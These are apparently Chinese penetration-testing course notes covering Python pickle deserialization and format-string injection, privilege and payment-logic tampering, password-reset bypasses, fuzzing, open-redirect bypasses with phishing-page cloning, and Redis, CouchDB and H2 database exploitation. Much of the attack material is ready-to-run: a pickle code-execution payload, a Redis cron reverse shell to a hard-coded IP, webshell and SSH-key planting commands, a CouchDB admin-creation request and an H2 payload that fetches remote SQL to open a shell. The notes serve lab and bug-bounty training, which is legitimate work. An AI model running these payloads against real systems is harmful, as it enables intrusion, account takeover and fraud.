sstimap.py -u "http://example.com/profile" --cookie "sessionid=abc123"
Header:
sstimap.py -u "http://example.com/" --headers "X-Forwarded-For: 127.0.0.1" "User-Agent: SstiMap"
黑盒
观察自己的参数在页面有没有显示,有的话直接工具
第71天:WEB攻防-Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全
#Python-PYC-反编译文件出源码
pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
真题:http://pan.baidu.com/s/1jGpB8DS
安装:pip install uncompyle6
使用:uncompyle6 -o test.py test.pyc
下载:https://github.com/rocky/python-uncompyle6
#Python-反序列化-调用链&魔术方法
各类语言序列化和反序列化函数:
Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP: serialize()、 unserialize()
Python:pickle marshal json PyYAML shelve PIL unzip
序列化:把类对象转化为字节流或文件
反序列化:将字节流或文件转化为类对象
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 将文件序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串字节流反序列化为对象
PyYAML yaml.load()
JSON json.loads(s)
marshal
魔术方法:
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用(类似于php的isset被设置)
getstate() 序列化时调用
1、序列化和反序列化演示-test.py
2、序列化和反序列化形成-test.py
3、序列化和反序列化利用-server.py pop.py
4、序列化和反序列化赛题-[watevrCTF-2019]Pickle Store
黑盒:Python反序列化特征:base64编码 前面gA固定(序列化数据)
测试:直接提交构造的payload测试
#Python-格式化字符串-类魔术方法引用
https://xz.aliyun.com/t/3569
第一种:%操作符
第二种:string.Template
第三种:调用format方法 (可控格式化字符串)
第四种: f-Strings(可控格式化字符串)
➢ Python-PYC-反编译文件出源码
pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件
py编译->pyc->pyc反编译->py
安装:pip install uncompyle6
使用:uncompyle6 -o test.py test.pyc
➢ Python-反序列化-调用链&魔术方法
python的序列化和反序列化函数:
pickle marshal json PyYAML shelve PIL unzip
序列化:把类对象转化为字节流或文件
反序列化:将字节流或文件转化为类对象
序列化

import pickle
import os,base64
class test(object):
def a(self):
print('a')
t=test()
dt=pickle.dumps(t) #序列化
print(dt)
定义类:创建了一个名为 test 的类,它继承自 object(在Python 3中这是默认的,可以省略)
定义方法:在类中定义了一个名为 a 的方法,它接受 self 参数(指向实例本身),执行时会打印出字符 'a'
创建实例:使用 test() 创建了该类的一个实例(对象),并将这个实例赋值给变量 t
序列化对象:使用 pickle.dumps() 函数将实例 t 序列化
- 序列化:把这个对象(包括它的状态、所属的类等信息)转换成一个字节流(bytes)
- 这个字节流
dt可以被存储到文件中或通过网络传输
运行:

反序列化
lt=pickle.loads(dt) #反序列化
print(lt)

魔术方法
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用(类似于php的isset被设置)
getstate() 序列化时调用
def __reduce__(self):
#os.system('calc')
return (eval, ("__import__('os').system('calc')",))
def __reduce_ex__(self, protocol):
return (eval, ("__import__('os').system('notepad')",))
def __getstate__(self):
cmd = "mstsc" # 命令
os.system(cmd)
def __setstate__(self, state):
os.system('calc')
测试
将有:
return (eval, ("__import__('os').system('calc')",))
这种的序列化之后得到的数据,如果反序列化的数据可控,输入上面序列化的内容就可以调用计算器
示例代码:

有反序列化,并且传入的数据是自己控制的,注意base64编码,pop:
class exp(object):
def __reduce__(self):
return (eval, ("__import__('os').system('calc')",))
a=exp()
da=pickle.dumps(a) #序列化
daa=base64.b64encode(da).decode()
print(daa)
运行得到:
gASVOwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwfX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhbGMnKZSFlFKULg==
因为是cookie接收的所以放到cookie里面

保存刷新弹出计算器
也可以进行反弹shell,棱角社区生成的反弹shell命令就是选择完全取决于目标系统上可用的执行环境,比如windows就选择powershell,或者如果有php环境也可以选择php,python
Windows 系统
- 必有的:PowerShell、CMD
- 可能有的:Python、Netcat、Telnet等
所以优先选择PowerShell,因为:
- 所有现代Windows系统都自带
- 不需要上传额外文件
- 功能强大,可以直接调用cmd
Linux 系统
- 必有的:Bash、sh
- 常见有的:Python、Perl、PHP、Netcat等
所以选择更多,按优先级:
- Bash - 几乎所有Linux都有
- Netcat - 很多系统预装
- Python - 开发环境常见
- PHP - Web服务器常见
一般base64加密后gA开头的基本就是python反序列化
➢ Python-格式化字符串-类魔术方法引用
Python的字符串格式化方法(如.format()、f-string、%格式化)可以访问对象的属性和方法。当用户输入直接作为格式化字符串的参数时,就可能导致漏洞
# 定义一个全局配置字典,包含敏感信息(flag)
config={'flag':'woaichixigua'}
class User(object):
def __init__(self,name):
self.name=name
user = User('joe')
字符串格式化
# print('Hello {name}'.format(name='xiaodisec'))
# 输出:Hello xiaodisec
# 说明:这是正常的字符串格式化,使用字面量字符串作为参数,完全没有安全问题
获取全局变量字典
print('Hello {name}'.format(name=user.__class__.__init__.__globals__))
# 输出:整个模块的全局变量字典,包含config、User类等所有信息
# 风险:暴露了整个模块的全局命名空间
直接获取config字典
# print('Hello {name}'.format(name=user.__class__.__init__.__globals__['config']))
# 输出:Hello {'flag': 'woaichixigua'}
# 风险:直接获取到了敏感的config配置字典
直接获取flag值
# print('Hello {name}'.format(name=user.__class__.__init__.__globals__['config']['flag']))
# 输出:Hello woaichixigua
# 风险:直接获取到了flag的具体值
- user对象 → 通过
__class__访问类 - User类 → 通过
__init__访问构造方法 - 构造方法 → 通过
__globals__访问全局变量 - 全局变量 → 包含
config字典 - config字典 → 包含
flag键值对
文章:Python Web之flask session&格式化字符串漏洞-先知社区
原文:
第一种:%操作符
%操作符 沿袭C语言中printf语句的风格。
>>> name = 'Bob'
>>> 'Hello, %s' % name
"Hello, Bob"
第二种:string.Template
使用标准库中的模板字符串类进行字符串格式化。
>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
'Hey, Bob!'
第三种:调用format方法
python3后引入的新版格式化字符串写法,但是这种写法存在安全隐患。
>>> name , errno = 'Bob' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, Bob'
>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
'Hey Bob, there is a 0xbadc0ffee error!'
存在安全隐患的事例代码:
>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"
从上面的例子中,我们可以发现:如果用来格式化的字符串可以被控制,攻击者就可以通过注入特殊变量,带出敏感数据。更多漏洞分析,可以参阅:Python 格式化字符串漏洞(Django为例)
第四种:f-Strings
这是python3.6之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。
>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'
第72天:WEB攻防-业务逻辑篇&水平越权&垂直越权&未授权访问&检测插件&SRC项目
### #逻辑越权-检测原理-水平&垂直&未授权
1、水平越权:同级别的用户之间权限的跨越
2、垂直越权:低级别用户到高级别用户权限的跨越
3、未授权访问:通过无级别用户能访问到需验证应用
PHPStudy + Metinfo4.0 + 会员后台中心
水平越权:抓修改密码的包,将个人名字改为他人名字,发包,修改他人密码成功
垂直越权:抓修改密码的包,将个人名字改为admin,发包,修改他人密码成功
未授权访问:有修改密码的包,即使不登录,删除cookie,发送数据包就可以修改密码
### #逻辑越权-检测项目-BURP插件&对比项目
1、检测插件:
https://github.com/smxiazi/xia_Yue
https://github.com/VVeakee/auth-analyzer-plus
2、检测项目:
https://github.com/ztosec/secscan-authcheck
https://github.com/y1nglamore/IDOR_detect_tool
实战:找到当前用户相关的参数名,添加返回包里面的参数名参数值去提交,参数值请求数据加密:JS中找逆向算法,还原算法重新修改发包测试,请求包带token:直接复用和删除测试。


➢ 逻辑越权-检测原理-水平&垂直&未授权
水平
抓包修改参数,密码、邮箱之类的,用户就是想要登录的账号,这是没有验证的
垂直
也是一样,账号改成高权限账号,比如admin
未授权
一些和登陆相关的基本会有身份验证,比如cookie,如果抓包将cookie删掉了但是发包还是能正常操作,这个就叫未授权,也就是这是连登录都没有,比如修改密码,cookie删除了但是仍然可以修改密码
总结
在测试中要注意有关登录的参数,通过抓包增删改等操作去发包
有token的话要么就删除要么就不管,如果token是安全的一般就不用测了
➢ 逻辑越权-检测项目-BURP插件&对比项目
感觉这些插件都不是很好用,这里不记录了
第73天:WEB攻防-支付逻辑篇&篡改属性值&并发签约&越权盗用&算法溢出&替换对冲
#支付逻辑常见测试:
1、熟悉常见支付流程
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
2、熟悉那些数据篡改
商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态等
3、熟悉那些修改方式
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
4、熟悉那些另类方法
无限试用,越权支付,并发兑换,四舍五入半价购,循环利用优惠券,支付签约逻辑等
#支付逻辑如何挖掘:
1、找到关键的数据包
可能一个支付操作有三四个数据包,我们要对数据包进行挑选。
2、分析数据包
支付数据包中会包含很多的敏感信息(账号,金额,余额,优惠等)
要尝试对数据包中的各个参数进行分析。
3、不按套路出牌
多去想想开发者没有想到的地方,如算法拼接,关闭开启返优惠券等
4、PC端尝试过,APP端也看看,小程序也试试
#支付逻辑安全修复:
1、在后端检查订单的每一个值,包括支付状态;
2、校验价格、数量参数,比如产品数量只能为整数,并限制最大购买数量 ;
3、与第三方支付平台检查,实际支付的金额是否与订单金额一致;
4、如给用户退款,要使用原路、原订单退回。如:退押金,按用户原支付订单原路退回;
5、加密、解密、数字签名及验证,这个可以有效避免数据修改,重放攻击中的各种问题;
6、金额超过指定值,进行人工审核等。
[http://lsq123.top/](http://lsq123.top/)

➢ 购买支付-修改数量&篡改价格&订单对冲
修改数量
来到购买页面

提交订单进行抓包,下面是订单的一些信息

其中qty是产品的数量,修改为2可以看到页面正常显示为2

如果修改为0.00001件然后发包过去

变成了0.06元
纂改价格
也是抓包,然后改price


产品对冲
用a产品的价格去支付b产品的价格
大米CMS手机开发专版:
GET /index.php?m=Member&a=gobuy&iscart=0&id=69&name=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&qty=1&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393206337.jpg HTTP/1.1
大米测试产品:
GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg HTTP/1.1
这个的意思就是不改价格和数量,其他的全改,这里第一个除开数量和价格其他的换成第二个相当于就是第一个的价格买到了第二个产品
➢ 购买支付-优惠券复用盗用&积分对冲溢出
优惠券复用盗用
也是抓包修改数据,下面是一个用了券一个没用券

一个地方不一样,购买的时候修改为用了券的发包出去也是能显示用了券的
盗用->算出优惠券规律->id=1 2 3 4->算法逆向->可行的编号
复用->重复使用
积分对冲溢出
用积分兑换余额,积分减少那么余额就变多,比如我兑换10积分,原本积分为80那么就变成70,原本余额是20就变成30,如果抓包修改成兑换积分-10呢
那么积分就变成了90,但是在这个案例中余额会变少,在黑盒测试中需要关注其他参数看是不是和这种积分到余额还是余额到积分这种转换
➢ 第73-1天:实战SRC支付购买挖掘分享案例
四舍五入
支付的时候跳转第三方软件,只识别小数点后两位,0.019会四舍五入为0.02
签到
有时间验证的话可以修改当前设备的时间来进行绕过
没有验证可以抓包修改参数
第74天:WEB攻防-机制验证篇&重定向发送&响应状态码&跳过步骤&验证码回传&枚举
验证码突破-回传显示&规律爆破
验证码条件:验证码可以爆破;验证码存活时间够长;爆破不会被拦截
演示:某APP验证码爆破 某目标回显显示
1、通过手机找回密码,响应包中包含短信验证码。
2、找回密码时使用位数较少的短信验证码,或者验证码没有设置有效时间限制,导致攻击者借助自动化工具在一定时间范围内爆破获得短信验证码,从而导致重置任意账号密码。
验证目标-重定向发送&重定向用户
修改密码:
重定向用户:收到自己的验证码后,将显示自己账号的数据换成他人的账号数据,就是只验证验证码
重定向验证目标:看验证的途径可不可以更改,比如邮箱可以更改,那么换成自己的
演示:某CMS重定向用户 某CMS重定向发送
1、当我们输入正确的手机号和正确的短信验证码,然后进入重置密码的最后一步,也就是输入新的密码,输入密码后提交到服务端的post数据包需要包含当前用户的身份信息。而一般网站是通过用户名或用户ID来标识用户身份的,如果这个用户名或用户ID没有和当前手机号、短信验证码进行绑定。也就是说服务端只验证用户名、ID是否存在,而不去验证用户和当前手机号是否匹配,那么我们就可以通过修改用户名、ID去修改其他用户的密码了。当然可以修改的地方不限于找回密码的数据包,比如修改资料的地方也可能存在这样的漏洞。
2、如果数据包存在发送验证邮箱或目标地址,尝试修改到自己接受地,实现拦截获取
验证逻辑-修改响应包&跳过步骤URL
前端判断验证码,可以尝试绕过
跨过之间验证直接到最后一步比如重置密码有很多步,到了最后有一个url地址,那么直接访问这个url地址
演示:某APP修改响应包 某APP跳过步骤URL
1、通过手机找回密码一般需要短信验证码验证,服务端需要告诉客户端,输入的验证码是否正确,如果客户端收到true的信息,那么就会向带着true的信息向服务端请求进入下一步,而服务端收到true的信息,就会允许客户端进入下一步,反之,如果是false的信息,服务端就不会允许客户端进入下一步。也就是说我们进入下一步的关键是让服务端收到客户端的true信息,而借助burpsuite,我们可以修改服务端返回到客户端的信息,这样一来,我们就可以输入任意短信验证码,然后将服务端返回的false信息改为true就可以绕过短信验证码的验证了。
2、找回密码流程一般需要四个步骤:
流程:验证用户名-验证短信验证码-输入新密码-重置成功
这四个步骤应该紧紧相连,互相相关,只有通过了第一个步骤验证才可以进入下一个步骤,如果每个步骤之间没有进行关联性验证,就可能导致跳过关键验证步骤,从而导致重置任意账号密码。


➢ 验证码突破-回传显示&规律爆破
回传显示
一种是在点击那个发送验证码抓包的时候验证码就已经回显了


还有就是输入错误的看响应包,提示验证码错误然后直接给出正确的验证码

说实话这种的现在基本没有了
规律爆破
看条件,如果是验证码一分钟之内就失效或者是一直输入错误的就不让你输入了,这种的话基本就是爆破不了,其他的可以用作尝试
抓填验证码发送的包,对验证码那一部分进行爆破

➢ 验证目标-重定向用户&重定向发送
重定向用户
两个用户

登录的时候选择找回密码

选第一个用户的邮箱进行发送验证码,收到验证码之后填入,点击登录抓包

更改邮箱地址为第二个账号的邮箱
可以看到账号变成了第二个账号的用户名

写入新密码,发现密码被更改

注意这个重定向是拿着正确的验证码去尝试该账号,那种还在发验证码的改了账号是没用的
重定向发送
在重置密码的时候抓包,在url上面加上met_host=自己的服务器,让重置的信息发送到自己的服务器上面
监听:

来到后台

忘记密码

选择admin,进行抓包

加上met_host,发包

接受到了重置密码的链接,访问

这种密码重置就类似于重置的时候发了一个链接去重定向到一个页面,我们把发送到的目的地改成自己的服务器就能接受到
前提条件是对方接收修改的参数并且信任
➢ 验证逻辑-修改响应包&跳过步骤URL
修改响应包
先抓到正确流程的数据包,比如重置密码的流程的几个成功的数据包
在后面用其他账号尝试登录的时候去拿到相应包,修改返回值为之前抓到的返回200的数据包的返回,再发包
但是到底成不成功也是看逻辑到底是不是看返回码正确就跳转页面
跳过步骤URL
流程:验证用户名-验证短信验证码-输入新密码-重置成功
这四个步骤应该紧紧相连,互相相关,只有通过了第一个步骤验证才可以进入下一个步骤,如果每个步骤之间没有进行关联性验证,就可能导致跳过关键验证步骤,从而导致重置任意账号密码。
案例
修改用户对象重置任意用户

修改响应包重置任意用户

未验证导致重置任意用户
最终只需要修改r为其他用户ID,即可重置其他用户密码。

某SRC重定向验证邮箱绕过
https://mp.weixin.qq.com/s/zsHHSXZHaLmiJFkgsjoHKg
某SRC配合信息泄漏重置绕过
记一次简单的src挖掘 - 先知社区 (aliyun.com)
第76天:WEB攻防-Fuzz模糊测试篇&JS算法口令&隐藏参数&盲Payload&未知文件目录
1、Fuzz
是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试。
2、Fuzz的核心思想:
口令Fuzz(弱口令)
目录Fuzz(漏洞点)
参数Fuzz(利用参数)
PayloadFuzz(Bypass)
3、Fuzz应用场景:
-爆破用户口令
-爆破敏感目录
-爆破文件地址
-爆破未知参数名
-Payload测漏洞(绕过等也可以用)
在实战黑盒中,目标有很多没有显示或其他工具扫描不到的文件或目录等,我们就可以通过大量的字典Fuzz找到的隐藏的文件进行测试。
4、Fuzz项目:
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/danielmiessler/SecLists
#Fuzz技术-用户口令-常规&模块&JS插件
https://github.com/c0ny1/jsEncrypter
https://github.com/whwlsfb/BurpCrypto
#Fuzz技术-目录文件-目录探针&文件探针
#Fuzz技术-未知参数名-文件参数&隐藏参数
#Fuzz技术-构造参数值-漏洞攻击恶意Payload
➢ Fuzz技术-用户口令-常规&模块&JS插件
用burpsuite的话就是爆破,模式:
Sniper 使用一组数据集合,依次对 $ 标记的变量进行爆破,即:针对一个参数变量,使用一个数据集合
使用场景:单一目标,已知用户名,密码未知
Battering ram 使用一组数据集合,同时对 $ 标记的所有变量进行爆破,即:针对多个参数变量,使用一个数据集合
使用场景:两个单一目标,相互不影响
Pitchfork 使用多组数据集合,同时爆破被 $ 标记的变量,即:针对多个参数变量,使用多个数据集合
使用场景:用户名和密码都未知,每个用户名只使用一个密码进行攻击
Cluster bomb 使用多组数据集合进行组合(笛卡尔积)后,依次对多个爆破点变量进行爆破,即:针对多个变量,使用多个数据集合的组合
一般就是Sniper或者Cluster bomb
还有就是加密的爆破,之前也做过笔记,js自定义函数的加密可以用插件BurpCrypto


或者之前讲过的jsEncrypter
➢ Fuzz技术-目录文件-目录探针&文件探针
这个也是抓包拿去用字典爆破后面的目录或者文件,看状态码为200的
字典:

➢ Fuzz技术-未知参数名-文件参数&隐藏参数
如果有php文件,开始进行对参数名和参数值的爆破,也是用字典爆破,看长度
参数名字典

➢ Fuzz技术-构造参数值-漏洞攻击恶意Payload
参数值字典:

案例
Fuzz手机加验证码突破绕过



Fuzz访问URL挖未授权访问
某系统测试发现后台登录地址为https://xxx/?m=index

Fuzz密码组合规则信息泄漏

第77天:WEB攻防-业务设计篇&隐私合规检测&URL重定向&资源拒绝服务&配合项目
#隐私合规-判断规则&检测项目
对象:APP 小程序等
具体:后续APP安全课程
-https://appscan.ly.com/
-https://github.com/bytedance/appshark
某SRC规则参考:https://mp.weixin.qq.com/s/tgEZth3TFyyis_EBrQ5PhQ
#URL重定向-检测判断&钓鱼配合
URL 重定向漏洞(URL redirection vulnerability),是一种常见的 Web 安全漏洞,由于网站 URL 重定向功能设计不当,没有验证跳转的目标 URL 是否合法,用户可通过此漏洞跳转到任意网站,这会导致可通过该网站跳转到存在木马、病毒的网站或者钓鱼网站,国外大厂的一个任意URL跳转都500$、1000$了,国内看运气~
黑盒看业务:
用户登录、统一身份认证处,认证完后会跳转
用户分享、收藏内容过后,会跳转
跨站点认证、授权后,会跳转
站内点击其它网址链接时,会跳转
黑盒看参数名:
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain
白盒看代码块:
Java:response.sendRedirect(request.getParameter("url"))
PHP:
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url)
.NET:
string redirect_url = request.QueryString["url"];
Response.Redirect(redirect_url);
Django:
redirect_url = request.GET.get("url")
HttpResponseRedirect(redirect_url)
Flask:
redirect_url = request.form['url']
redirect(redirect_url)
Rails:
redirect_to params[:url]
单斜线"/"绕过 https://www.landgrey.me/redirect.php?url=/www.evil.com
2. 缺少协议绕过 https://www.landgrey.me/redirect.php?url=//www.evil.com
3. 多斜线"/"前缀绕过 https://www.landgrey.me/redirect.php?url=///www.evil.com https://www.landgrey.me/redirect.php?url=www.evil.com 4. 利用"@"符号绕过 https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
5. 利用反斜线"\"绕过 https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
6. 利用"#"符号绕过 https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
7. 利用"?"号绕过 https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
8. 利用"\\"绕过 https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
9. 利用"."绕过 https://www.landgrey.me/redirect.php?url=.evil (可能会跳转到www.landgrey.me.evil域名) https://www.landgrey.me/redirect.php?url=.evil.com (可能会跳转到evil.com域名)
10.重复特殊字符绕过 https://www.landgrey.me/redirect.php?url=///www.evil.com//.. https://www.landgrey.me/redirect.php?url=www.evil.com//..
#资源拒绝服务-加载受控&处理受控
功能1:验证码或图片显示自定义大小
功能2:上传压缩包解压循环资源占用(压缩包炸弹)
➢ 隐私合规-判断规则&检测项目
隐私合规(Privacy Compliance)就是——
在收集、使用、存储和分享用户个人信息时,依法依规办事,不乱来。
可以理解为三句话:
- 你拿用户的数据必须合法、有理由;
- 你用数据必须按用户同意的范围来用;
- 你要保护好这些数据不泄露。
这节课的两个项目一个是静态检测一个是动态监测
appscan:动态

动态检测,需要连接真机
MobSF:静态
这两个在后续的app安全会详细说明
➢ URL重定向-检测判断&钓鱼配合
重定向
比如一个微信的分享链接:
http://weixin.qq.com/?url=www.xiaodi8.com
页面和weixin.qq.com的页面一模一样,但是其实是www.xiaodi8.om
黑盒看业务:
- 用户登录、统一身份认证处,认证完后会跳转
- 用户分享、收藏内容过后,会跳转
- 跨站点认证、授权后,会跳转
- 站内点击其它网址链接时,会跳转
黑盒看参数名:
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain
白盒看代码块:
Java:response.sendRedirect(request.getParameter("url"))
PHP:
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url)
.NET:
string redirect_url = request.QueryString["url"];
Response.Redirect(redirect_url);
Django:
redirect_url = request.GET.get("url")
HttpResponseRedirect(redirect_url)
Flask:
redirect_url = request.form['url']
redirect(redirect_url)
Rails:
redirect_to params[:url]
制作钓鱼页面
用Teleport Ultra或者WinHTTrack克隆网站页面
利用url重定向修改代码把页面输入的数据发送到自己的服务器
搜索语法
site: inurl:?url=
➢ 资源拒绝服务-加载受控&处理受控
功能1:验证码或图片显示自定义大小
访问图片,url后面加上参数,比如:

如果把w和h改成很大很大的值,服务器那边会调用资源来显示的话那么就是占用了资源,但这个不一定所有的网站都会这样,大部分是处理起来很快的,但也有部分网站会占用
功能2:上传压缩包解压循环资源占用(压缩包炸弹)
嵌套压缩包,服务器调用大量资源去解压缩
服务攻防总思维导图
#章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议
#常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
#常见语言开发组件:(Java)
Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba FastJson、Jackson、Log4J、XSteam等。

第78天:服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞
#前置知识:
1、复现环境:Vulfocus(官方在线的无法使用)
官方手册:https://fofapro.github.io/vulfocus/#/
搭建踩坑:(无法同步)
https://blog.csdn.net/m0_64563956/article/details/131229046
2、服务判断:
端口扫描:利用服务开启后目标端口开放判断
组合判断:利用搭建常见组合分析可能开放服务
信息来源:访问端口提示软件版本,应用信息等
强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等
3、对象类别:
对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。
4、利用方法:
主要集中在CVE漏洞,未授权访问,弱口令爆破等
#数据库应用-Redis-未授权访问&CVE漏洞
默认端口:6379
Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
1、未授权访问:CNVD-2015-07557
-写Webshell需得到Web路径
利用条件:Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
注意:部分没目录权限读写权限
-写定时任务反弹shell
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败
-写入Linux ssh-key公钥
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP
-自动化项目:
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
2、未授权访问-CNVD-2019-21763
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"
3、沙箱绕过RCE-CVE-2022-0543
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
#数据库应用-Couchdb-未授权越权&CVE漏洞
默认端口:5984
-Couchdb 垂直权限绕过(CVE-2017-12635)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。
1、先创建用户
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "xiaodi",
"roles": ["_admin"],
"roles": [],
"password": "xiaodi"
}
2、登录用户授权
Get:/_utils/
xiaodi xiaodi
-Couchdb 命令执行 (CVE-2017-12636)
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
#数据库应用-H2database--未授权访问&CVE漏洞
默认端口:20051
Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
1、未授权进入:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
2、RCE执行反弹:
-创建数据库文件:h2database.sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
-启动提供SQL文件远程加载服务
python3 -m http.server 端口
-填入Payload使其加载远程SQL
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
nc -lvvp xxxx

Ø 数据库应用-Redis-未授权访问&CVE漏洞
Vulfous搭建
拉取镜像
docker pull vulfocus/vulfocus:latest
启动
